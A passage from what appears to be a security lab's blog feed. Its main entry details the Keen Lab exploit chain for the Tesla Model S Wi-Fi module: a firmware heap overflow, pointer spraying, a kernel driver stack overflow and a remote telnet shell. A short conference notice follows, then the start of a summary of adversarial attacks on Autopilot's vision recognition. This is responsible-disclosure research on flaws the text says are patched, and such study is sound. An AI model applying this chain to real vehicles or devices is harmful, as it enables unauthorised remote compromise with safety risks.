device. Then the other device returns an action frame ADDTS response. Below is the action frame.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image8.png"></p><p>The whole process of ADDTS may like this. When the host operation system wants to send an ADDTS request, the kernel driver fills and sends a HostCmd_DS_COMMAND structure with command HostCmd_CMD_WMM_ADDTS_REQ to chip. Then the firmware transmits the ADDTS request packet over the air. When the chip received an ADDTS response from another device, it copies this response without an action header to the HostCmd_CMD_WMM_ADDTS_REQ structure as a result of ADDTS_REQ command and passes the structure HostCmd_DS_COMMAND to the kernel driver. After that, the kernel driver process this response.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">HostCmd_DS_COMMAND</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    u16 Command;</span><br><span class="line">    u16 Size;</span><br><span class="line">    u16 SeqNum;</span><br><span class="line">    u16 Result;</span><br><span class="line">    <span class="class"><span class="keyword">union</span></span></span><br><span class="line"><span class="class">    &#123;</span></span><br><span class="line">        HostCmd_DS_GET_HW_SPEC hwspec;</span><br><span class="line">        HostCmd_CMD_WMM_ADDTS_REQ;</span><br><span class="line">        <span class="comment">//…….</span></span><br><span class="line">     &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The vulnerability exists in the process of copying the data from the ADDTS response packet to the HostCmd_CMD_WMM_ADDTS_REQ structure. The length of copy calculated by subtracting 4 bytes length of action header from length of action frame. But if the action frame only contains a header and the length of the header is only 3 bytes, the length needs to copy is 0xffffffff. So, the memory could be corrupted very badly, resulting in a crash very stable.</p><h2 id="Vulnerability-in-Driver"><a href="#Vulnerability-in-Driver" class="headerlink" title="Vulnerability in Driver"></a>Vulnerability in Driver</h2><p>There are three kinds of data sent between the chip and the kernel driver through the SDIO interface, MV_TYPE_DATA, MV_TYPE_CMD, and MV_TYPE_EVENT. The definition of commands and events can be found in source code.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image9.png"></p><p>The whole process about command processing as follows. The driver handles the command from a user-space process such as ck5050, wpa_supplicant and initializes a structure HostCmd_DS_COMMAND by the function wlan_prepare_cmd(). The last argument pdata_buf points to a related structure that contains the necessary information to initialize the structure HostCmd_DS_COMMAND. The function wlan_process_cmdresp() is responsible for handling the command response from the chip and copying back the results to the structure references by pdata_buf.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span></span><br><span class="line"><span class="title function_">wlan_prepare_cmd</span><span class="params">(wlan_private * priv,</span></span><br><span class="line"><span class="params">                 u16 cmd_no,</span></span><br><span class="line"><span class="params">                 u16 cmd_action,</span></span><br><span class="line"><span class="params">                 u16 wait_option, WLAN_OID cmd_oid, <span class="type">void</span> *pdata_buf)</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>The vulnerability exists in the function wlan_process_cmdresp() when the driver is processing the response of command HostCmd_CMD_GET_MEM. The function wlan_process_cmdresp() not check if the member size of structure HostCmd_DS_COMMAND is valid, which results in a buffer overflow when copying the data from structure HostCmd_DS_COMMAND to other place.</p><h2 id="Code-Execute-in-Wi-Fi-Chip"><a href="#Code-Execute-in-Wi-Fi-Chip" class="headerlink" title="Code Execute in Wi-Fi Chip"></a>Code Execute in Wi-Fi Chip</h2><p>Obviously, the vulnerability in firmware is a heap overflow. To utilize this vulnerability to gain code execution in the Wi-Fi chip, we need to figure out how the function memcpy() corrupted the memory, what could happen after triggering the vulnerability, and where the crash happens.</p><p>To trigger the vulnerability, the length of action header should be less than 4, and we must provide the correct dialog token in action frame, which means the length passed to memcpy() must be 0xffffffff. The source address is fixed because the source buffer allocates from memory pool pool_start_id_rmlmebuf, which has only one block. The destination buffer allocates from memory pool pool_start_id_tx. So the destination address could be one of the four addresses.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/table4.png"></p><p>The source address and destination address locate in RAM region 0xC0000000~0xC003FFFF, but the address range from 0xC0000000 to 0xCFFFFFFF is valid. So, the results of reading or writing to these memory areas are the same.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/table5.png"></p><p>Because the memory region from 0xC0000000 to 0xCFFFFFFF is readable and writable, the process of copying is almost impossible to reach the boundary of the memory region. After 0x40000 bytes copied, the memory can be considered as shifted a distance once. In this process, some data could be overwritten and lost.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image10.png"></p><p>The CPU in 88w8688 contains only one core, so the chip may not crash during the execution of copying until an interrupt occurs. Since memory already corrupted by the vulnerability, in most cases, the chip crashed in the interrupt handlers.</p><p>The interrupt controller provides a simple firmware interface to the interrupt system. When an interrupt occurs, the firmware gets the interrupt event from the register of the interrupt controller and invokes the related interrupt handler.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/table6.png"></p><p>There are many interrupt sources, so the chip can crash at many places after triggering the vulnerability.</p><p>One possibility is that the interrupt comes from 0x15, then the function 0x26580 be called. There is a link list pointer at 0xC000CC08. The value of this pointer could be overwritten after triggering the vulnerability. However, the manipulation of the link list may not be able to give us the chance to gain code execution.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image11.png"></p><p>Another crash happens in the interrupt handler of the Timer Interrupt. The handler does thread switching sometimes, and another task could resume running, which means the process of copying can be suspended temporarily and the chip crash during other tasks running. In this situation, the firmware crashed in function 0x4D75C usually.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image12.png"></p><p>The function read a pointer at 0xC000D7DC, which points to structure TX_SEMAPHORE. After triggering the vulnerability, we can overwrite the pointer to our fake TX_SEMAPHORE structure.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">TX_SEMAPHORE_STRUCT</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    ULONG       tx_semaphore_id;</span><br><span class="line">    CHAR_PTR    tx_semaphore_name;</span><br><span class="line">    ULONG       tx_semaphore_count;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">TX_THREAD_STRUCT</span>  *<span class="title">tx_semaphore_suspension_list</span>;</span></span><br><span class="line">    ULONG                    tx_semaphore_suspended_count;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">TX_SEMAPHORE_STRUCT</span> *<span class="title">tx_semaphore_created_next</span>;</span>  </span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">TX_SEMAPHORE_STRUCT</span> *<span class="title">tx_semaphore_created_previous</span>;</span></span><br><span class="line">&#125; TX_SEMAPHORE;</span><br></pre></td></tr></table></figure><p>If the member tx_semaphore_suspension_list also points to our fake TX_THREAD_STRUCT structure, when the function _tx_semaphore_put() update the link of the adjacent threads in TX_THREAD_STRUCT structure, we can get a chance to “write anything anywhere.”</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image13.png"></p><p>We can directly overwrite the next instruction after “BL os_semaphore_put” with a jump instruction to archive code execute as the memory in ITCM is RWX. The difficulty lies in we need to spray both TX_SEMAPHORE structure and TX_THREAD_STRUCT structure in memory. We also need to make sure the pointer tx_semaphore_suspension_list in structure TX_SEMAPHORE points to our fake TX_THREAD_STRUCT structure. These conditions can be satisfied, but the success rate is very low.</p><p>We mainly focus on the third crash place, in the handler of MCU interrupts. The pointer g_interface_sdio points to structure struct_interface can be overwritten.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">struct_interface</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="type">int</span> field_0;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">struct_interface</span> *<span class="title">next</span>;</span></span><br><span class="line">  <span class="type">char</span> *name_ptr;</span><br><span class="line">  <span class="type">int</span> sdio_idx;</span><br><span class="line">  <span class="type">int</span> fun_enable;</span><br><span class="line">  <span class="type">int</span> funE;</span><br><span class="line">  <span class="type">int</span> funF;</span><br><span class="line">  <span class="type">int</span> funD;</span><br><span class="line">  <span class="type">int</span> funA;</span><br><span class="line">  <span class="type">int</span> funB; <span class="comment">// 0x24</span></span><br><span class="line">  <span class="type">int</span> funG;</span><br><span class="line">  <span class="type">int</span> field_2C;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>The function pointer funB in this structure will be invoked in this function. If the pointer g_interface_sdio overwrited, arbitrary code execution can be achieved.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image14.png"></p><p>Here is the register dump when instruction “BX R3” executes in function interface_call_funB(). In this dump, g_interface_sdio overwrited by 0xabcd1211.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">LOG_BP_M0_CPSR      : 0xa000009b</span><br><span class="line">LOG_BP_M0_SP        : 0x5fec8</span><br><span class="line">LOG_BP_M0_LR        : 0x3cd50</span><br><span class="line">LOG_BP_M0_SPSP      : 0xa00000b2</span><br><span class="line">LOG_BP_M1_CPSR      : 0xa0000092</span><br><span class="line">LOG_BP_M1_SP        : 0x5536c</span><br><span class="line">LOG_BP_M1_LR        : 0x4e3d5</span><br><span class="line">LOG_BP_M1_SPSP      : 0xa0000013</span><br><span class="line">LOG_BP_M2_CPSR      : 0</span><br><span class="line">LOG_BP_M2_SP        : 0x58cb8</span><br><span class="line">LOG_BP_M2_LR        : 0x40082e8</span><br><span class="line">LOG_BP_M2_SPSP      : 0</span><br><span class="line">LOG_BP_R1           : 0x1c</span><br><span class="line">LOG_BP_R2           : 0</span><br><span class="line">LOG_BP_R3           : 0xefdeadbe</span><br><span class="line">LOG_BP_R4           : 0x40c0800</span><br><span class="line">LOG_BP_R5           : 0</span><br><span class="line">LOG_BP_R6           : 0x8000a500</span><br><span class="line">LOG_BP_R7           : 0x8000a540</span><br><span class="line">LOG_BP_R8           : 0x140</span><br><span class="line">LOG_BP_R9           : 0x58cb0</span><br><span class="line">LOG_BP_R10          : 0x40082e8</span><br><span class="line">LOG_BP_FP           : 0</span><br><span class="line">LOG_BP_IP           : 0x8c223fa3</span><br><span class="line">LOG_BP_R0           : 0xabcd1211</span><br></pre></td></tr></table></figure><p>The function interface_call_funB() called by the handler of MACMCU interrupt at 0x4E3D0.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image15.png"></p><p>After the source address of copying reach the address 0xC0040000, the whole memory can be considered as shifted a distance once. After the source address of copying reach the address 0xC0080000, the whole memory shifted twice. The distance could be as follows.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0xC0016478-0xC000DC9B=0x87DD</span><br><span class="line">0xC0016478-0xC000E49B=0x7FDD</span><br><span class="line">0xC0016478-0xC000EC9B=0x77DD</span><br><span class="line">0xC0016478-0xC000F49B=0x6FDD</span><br></pre></td></tr></table></figure><p>After trigger the vulnerability, in most cases, the memory will be shifted 3~5 times when interrupt occurs. The pointer g_interface_sdio at address 0xC000B818, so g_interface_sdio can be overwritten by the data at these addresses.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">0xC000B818+0x87DD*1=0xC0013FF5</span><br><span class="line">0xC000B818+0x87DD*2=0xC001C7D2</span><br><span class="line">0xC000B818+0x87DD*3=0xC0024FAF</span><br><span class="line">0xC000B818+0x87DD*4=0xC002D78C</span><br><span class="line">…</span><br><span class="line">0xC000B818+0x7FDD*1=0xC00137F5</span><br><span class="line">0xC000B818+0x7FDD*2=0xC001B7D2</span><br><span class="line">0xC000B818+0x7FDD*3=0xC00237AF</span><br><span class="line">0xC000B818+0x7FDD*4=0xC004B700</span><br><span class="line">…</span><br><span class="line">0xC000B818+0x77DD*1=0xC0012FF5</span><br><span class="line">0xC000B818+0x77DD*2=0xC001A7D2</span><br><span class="line">0xC000B818+0x77DD*3=0xC0021FAF</span><br><span class="line">0xC000B818+0x77DD*4=0xC002978C</span><br><span class="line">…</span><br><span class="line">0xC000B818+0x6FDD*1=0xC00127F5</span><br><span class="line">0xC000B818+0x6FDD*2=0xC00197D2</span><br><span class="line">0xC000B818+0x6FDD*3=0xC00207AF</span><br><span class="line">0xC000B818+0x6FDD*4=0xC002778C</span><br><span class="line">…</span><br></pre></td></tr></table></figure><p>The addresses 0xC0024FAF, 0xC00237AF and 0xC0021FAF located in a huge DMA buffer 0xC0021F90~0xC0025790 which is used for storing 802.11 Data Frame received by Wi-Fi chip temporarily. So, this huge buffer can be used to spray with fake pointers. </p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image16.png"> </p><p>To spray our fake pointers in memory, we can send many normal 802.11 Data Frame full of fake pointers to Wi-Fi chip. The DMA buffer is so huge that we can directly spray our shellcode in it. To improve the success rate of exploiting, we used egg-hunters to search for our shellcode. </p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image17.png"> </p><p>If we successfully overwrote g_interface_sdio, the shellcode or egg hunter can very close to 0xC000B818. The fake pointer we used is 0x41954 because there is a pointer 0xC000B991 at address 0x41954+0x24. Then, we can hijack $PC to 0xC000B991. At the same time, the pointer 0x41954 can be recognized as normal instructions.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">54 19 ADDS            R4, R2, R5</span><br><span class="line">04 00 MOVS            R4, R0</span><br></pre></td></tr></table></figure><p>We got about a 25% success rate to achieve code execution in this method.</p><h2 id="Attack-Host-System"><a href="#Attack-Host-System" class="headerlink" title="Attack Host System"></a>Attack Host System</h2><p>The vulnerability in kernel driver can be trigger by sending data from chip through SDIO interface.</p><p>The command HostCmd_CMD_GET_MEM initialize by function wlan_get_firmware_mem() in normal case.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image18.png"></p><p>In this case, pdata_buf points to the buffer allocated by the function kmalloc(), which means it is a kernel heap overflow. The function wlan_get_firmware_mem() cannot be called in the real environment, and heap overflow is hard to exploit.</p><p>However, a compromised chip can return the result with a different command id after receiving a command. Therefore, the vulnerability can be triggered during the process of many command processing. In this situation, the vulnerability can be heap overflow or stack overflow depending on where pdata_buf points to. We found the function wlan_enable_11d(), which used the address of local variable enable as pdata_buf. Thus, we can trigger a stack buffer overflow.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image19.png"></p><p>The function wlan_enable_11d() called by wlan_11h_process_join(). Obviously, HostCmd_CMD_802_11_SNMP_MIB used in the process of associating with AP. The vulnerability in firmware only can be trigger when Parrot already connects to an AP. When we get code execution in the chip, Parrot already joined an AP. To trigger the stack buffer overflow in wlan_enable_11d(), the compromised chip needs to deceive the kernel driver that the chip disconnects from AP. Then, a reconnection launched by the driver and the command HostCmd_CMD_802_11_SNMP_MIB sent to firmware in function wlan_enable_11d(). Therefore, to launch the reconnection, the chip only needs to send event EVENT_DISASSOCIATED to the driver. </p><p>After triggering the vulnerability and get code execution in chip, the chip cannot work properly anymore, so our shellcode running in chip need to handle a series of commands when Parrot is trying to reconnect to original AP. The only command we need to handle is HostCmd_CMD_802_11_SCAN before the command HostCmd_CMD_802_11_SNMP_MIB comes. Below is the whole process from disassociation to trigger kernel driver vulnerability.</p><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image20.png"></p><p>The event and command packet can be sent directly by operating the register SDIO_CardStatus and SDIO_SQReadBaseAddress0. The register SDIO_SQWriteBaseAddress0 at 0x80000114 is useful for processing the data received from the kernel driver.</p><h2 id="Command-Execute-in-Linux-System"><a href="#Command-Execute-in-Linux-System" class="headerlink" title="Command Execute in Linux System"></a>Command Execute in Linux System</h2><p>As Linux Kernel 2.6.36 does not support NX, it’s possible to execute the shellcode on stack directly. In the meantime, the type of size in structure HostCmd_DS_COMMAND is u16, so the shellcode can be big enough to do lots of things.</p><p>After triggered vulnerability and controlled $PC, $R7 points to the kernel stack. It is very convenient to jump to the shellcode.</p><p>The function run_linux_cmd in shellcode called Usermode Helper API to execute Linux commands.</p><h2 id="Get-Shell-Remotely"><a href="#Get-Shell-Remotely" class="headerlink" title="Get Shell Remotely"></a>Get Shell Remotely</h2><p>After triggering the vulnerability in chip, the whole RAM region corrupted, and the firmware cannot work anymore. Besides, the kernel stack is corrupted and needs to be repaired.</p><p>To make the wireless function of Parrot works again properly, we did these things:</p><p>1. After sending the kernel payload through the SDIO interface, we reset the chip by running the following code. Later, the kernel driver finds the chip and redownload the firmware.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">*(<span class="type">unsigned</span> <span class="type">int</span> *)<span class="number">0x8000201c</span>|=<span class="number">2</span>;</span><br><span class="line">*(<span class="type">unsigned</span> <span class="type">int</span> *)<span class="number">0x8000a514</span>=<span class="number">0</span>;</span><br><span class="line">*(<span class="type">unsigned</span> <span class="type">int</span> *)<span class="number">0x80003034</span>=<span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>2. Call kernel function rtnl_unlock() in shellcode function fun_ret() to unlock rtnl_mutex which locked before wlan_enable_11d() called, or the wireless function in Linux will hangs, result in Parrot reboot by CID.</p><p>3. Call kernel function do_exit() in shellcode function fun_ret() to kill the user-mode process wpa_supplicant and restart it, so we don’t need to repair the kernel stack.</p><p>4. Kill process ck5050 and start again, or ck5050 segment fault due to chip reset, result in Parrot reboot by CID.</p><p>To get shell remotely, we force Parrot to connect to our AP and alter iptables rules. Then, the shell listened on port 23 can be reached.</p><p>Finally, the success rate of getting a shell is about 10%.</p><h2 id="Complete-Exploit-process"><a href="#Complete-Exploit-process" class="headerlink" title="Complete Exploit process"></a>Complete Exploit process</h2><ol><li><p>The attacker sends DEAUTH frames to all the AP nearby.</p></li><li><p>When Tesla reconnects to AP, the attacker gets the MAC address of Tesla.</p></li><li><p>Spray the fake pointer, then trigger the vulnerability in firmware by directly send corrupt Action Frame.</p></li><li><p>The function memcpy() executed until interrupt occurs.</p></li><li><p>Gain code execution in the Wi-Fi chip.</p></li><li><p>Stage 1 shellcode sends the event EVENT_DISASSOCIATED to the driver.</p></li><li><p>Stage 1 shellcode handles some commands and waits for the command HostCmd_CMD_802_11_SNMP_MIB.</p></li><li><p>Stage 1 shellcode sends the payload to trigger the kernel stack overflow through the SDIO interface.</p></li><li><p>Stage 2 shellcode executed and invoke the kernel function call_usermodehelper().</p></li><li><p>Linux system command executed and try to fix the wireless function of Parrot.</p></li><li><p>Attacker setups an AP and a DHCP server in this AP</p></li><li><p>Linux system command forces the Parrot to join our AP and alter the iptables rules.</p></li><li><p>The attacker can telnet to port 23 on Parrot.</p></li></ol><p><img src="/en/img/exploiting-wifi-stack-on-tesla-model-s/image21.png"></p><h2 id="Demo-Video"><a href="#Demo-Video" class="headerlink" title="Demo Video"></a>Demo Video</h2><div style="text-align: center;"><iframe frameborder="0" width="600" height="400" src="//v.qq.com/txp/iframe/player.html?vid=v304513meir&tiny=0&auto=0" allowfullscreen></iframe></div><h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><p>In this article, we presented the details of the vulnerability in the firmware and the vulnerability in the Marvell kernel driver and explained how to utilize these two vulnerabilities to compromise the Parrot Linux system by just sending malicious packets from a normal Wi-Fi dongle.</p><h2 id="Responsible-disclosure"><a href="#Responsible-disclosure" class="headerlink" title="Responsible disclosure"></a>Responsible disclosure</h2><p>All the two vulnerabilities we presented above are reported to Tesla in March 2019. Tesla already fixed them in version 2019.36.2, and the Marvell also has deployed a fix and published a security advisory[4] to the issue. The disclosure of the vulnerability research report had been communicated to Tesla, and Tesla is aware of our release.</p><p>You can track the issue from links below:</p><ol><li><p><a href="https://www.cnvd.org.cn/flaw/show/CNVD-2019-44105">https://www.cnvd.org.cn/flaw/show/CNVD-2019-44105</a></p></li><li><p><a href="http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1040">http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1040</a></p></li><li><p><a href="http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1038">http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1038</a></p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13581">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13581</a></p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13582">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13582</a></p></li></ol><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><p>[1] <a href="https://fccid.io/RKXFC6050W/Users-Manual/user-manual-1707044">https://fccid.io/RKXFC6050W/Users-Manual/user-manual-1707044</a></p><p>[2] <a href="https://www.marvell.com/wireless/88w8688/">https://www.marvell.com/wireless/88w8688/</a></p><p>[3] <a href="https://www.marvell.com/wireless/assets/Marvell-88W8688-SoC.pdf">https://www.marvell.com/wireless/assets/Marvell-88W8688-SoC.pdf</a></p><p>[4] <a href="https://www.marvell.com/documents/ioaj5dntk2ubykssa78s/">https://www.marvell.com/documents/ioaj5dntk2ubykssa78s/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/en/img/exploiting-wifi-stack-on-tesla-model-s/head.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;In the past two years, Keen Security Lab did in-depth research on the security of Tesla Cars and presented our research results on Black Hat 2017 and Black Hat 2018. Our research involves many in-vehicle components. We demonstrated how to hack into these components, including CID, IC, GATEWAY, and APE. The vulnerabilities we utilized exists in the kernel, browser, MCU firmware, UDS protocol, and OTA updating services. It is worth noting that recently we did some interesting works on Autopilot module, we analyzed the implementation details of autowipers and lane recognition function and make an example of attacking in the physical world.&lt;/p&gt;
&lt;p&gt;To understand the security of Tesla&amp;#39;s on-board system more comprehensively, we researched the Wi-Fi module (aka Parrot on Model S) and found two vulnerabilities in the Wi-Fi firmware and Wi-Fi driver. By combining these two vulnerabilities, the host Linux system can be compromised.&lt;/p&gt;</summary>
    
    
    
    
    <category term="CarHacking" scheme="http://keenlab.tencent.com/en/tags/CarHacking/"/>
    
  </entry>
  
  <entry>
    <title>TenSec 2019</title>
    <link href="http://keenlab.tencent.com/en/2019/05/24/TenSec-2019/"/>
    <id>http://keenlab.tencent.com/en/2019/05/24/TenSec-2019/</id>
    <published>2019-05-24T06:00:00.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/en/img/TenSec-2019/TenSec2019Header.jpg"><br>Tencent Security Conference (TenSec) is an international cybersecurity summit launched by Tencent Security, hosted by Tencent Keen Security Lab and Tencent Security Platform Department, and co-organized by Tencent Security Academy.</p><span id="more"></span><p>Over the last three years, we have invited the top experts from international security field all over the world, focusing on Big Data, AI, Mobile Internet, Cloud Computing, Block Chain, Virtualization and Connected Vehicle as well as security domain such as Research Instruments.TenSec has been committed to explore the international cutting-edge security technologies and build a long-lasting platform that communication and cooperation for global security field to jointly maintain the emerging Internet business and user security.</p><p>**Tencent Security will host TenSec 2019, Tuesday, June 11th - Wednesday, June 12th at The WEST BUND ShangHai XuHui. **<br><img src="/en/img/TenSec-2019/TenSec2019.jpg"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/en/img/TenSec-2019/TenSec2019Header.jpg&quot;&gt;&lt;br&gt;Tencent Security Conference (TenSec) is an international cybersecurity summit launched by Tencent Security, hosted by Tencent Keen Security Lab and Tencent Security Platform Department, and co-organized by Tencent Security Academy.&lt;/p&gt;</summary>
    
    
    
    
    <category term="TenSec" scheme="http://keenlab.tencent.com/en/tags/TenSec/"/>
    
  </entry>
  
  <entry>
    <title>Tencent Keen Security Lab: Experimental Security Research of Tesla Autopilot</title>
    <link href="http://keenlab.tencent.com/en/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/"/>
    <id>http://keenlab.tencent.com/en/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/</id>
    <published>2019-03-29T02:50:00.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/0.png"></p><span id="more"></span><h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>With the rise of Artificial Intelligence, Advanced Driver Assistance System (ADAS) related technologies are under rapid development in the vehicle industry. Meanwhile, the security and safety of ADAS have also received extensive attention.</p><p>As a world-leading security research team, Tencent Keen Security Lab has been conducting continuous research in this area. At the Black Hat USA 2018 security conference, Keen Lab presented the first ever demonstration to remotely compromise the Autopilot[1] system on a Tesla Model S (The attack chain has been fixed immediately after we reported to Tesla)[2]. </p><p>In later security research toward ADAS technologies, Keen Lab is focusing on areas like the AI model’s security of visual perception system, and architecture security of Autopilot system. Through deep experimental research on Tesla Autopilot, we acquired the following three achievements.</p><h2 id="Research-Findings"><a href="#Research-Findings" class="headerlink" title="Research Findings"></a>Research Findings</h2><h3 id="Auto-wipers-Vision-Recognition-Flaw"><a href="#Auto-wipers-Vision-Recognition-Flaw" class="headerlink" title="Auto-wipers Vision Recognition Flaw"></a>Auto-wipers Vision Recognition Flaw</h3><p>Tesla Autopilot can identify the wet weather through image recognition technology, and then turn on the wipers if necessary. Based on our research, with an adversarial example craftily generated in the physical world, the system will be interfered and return an “improper” result, then turn on the wipers. </p><p><img src="/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/1.png" alt="Figure 1. Neural Network behind the Tesla Autopilot Auto-wipers"></p><h3 id="Lane-Recognition-Flaw"><a href="#Lane-Recognition-Flaw" class="headerlink" title="Lane Recognition Flaw"></a>Lane Recognition Flaw</h3><p>Tesla Autopilot recognizes lanes and assists control by identifying road traffic markings. Based on the research, we proved that by placing interference stickers on the road, the Autopilot system will capture these information and make an abnormal judgement, which causes the vehicle to enter into the reverse lane.</p><h3 id="Control-Steering-System-with-a-Gamepad"><a href="#Control-Steering-System-with-a-Gamepad" class="headerlink" title="Control Steering System with a Gamepad"></a>Control Steering System with a Gamepad</h3><p>After compromised the Autopilot system on the Tesla Model S(ver 2018.6.1), Keen Lab further proved that we can control the steering system through the Autopilot system with a wireless gamepad, even when the Autopilot system is not activated by the driver.</p><h2 id="Research-Demonstration"><a href="#Research-Demonstration" class="headerlink" title="Research Demonstration"></a>Research Demonstration</h2><p>Please find our research video below for the demonstration, or <a href="//v.qq.com/x/page/x0855xzykn4.html">click here to see the video</a>.</p><div style="text-align: center;"><iframe frameborder="0" width="600" height="400" src="//v.qq.com/txp/iframe/player.html?vid=x0855xzykn4&tiny=0&auto=0" allowfullscreen></iframe></div><h2 id="Technical-Research-Paper"><a href="#Technical-Research-Paper" class="headerlink" title="Technical Research Paper"></a>Technical Research Paper</h2><p>For more technical details of our research, please refer the following link: <a href="/en/whitepapers/Experimental_Security_Research_of_Tesla_Autopilot.pdf">Experimental Security Research of Tesla Autopilot.pdf</a></p><h2 id="Feedback-from-Tesla"><a href="#Feedback-from-Tesla" class="headerlink" title="Feedback from Tesla"></a>Feedback from Tesla</h2><p>Tesla’s feedback on Autowipers:</p><p><span style="color:rgb(31,73,125)"><em>“This research was demonstrated by displaying an image on a TV that was placed directly in front of the windshield of a car. This is not a real-world situation that drivers would face, nor is it a safety or security issue. Additionally, as we state in our Owners’Manual, the ‘Auto setting 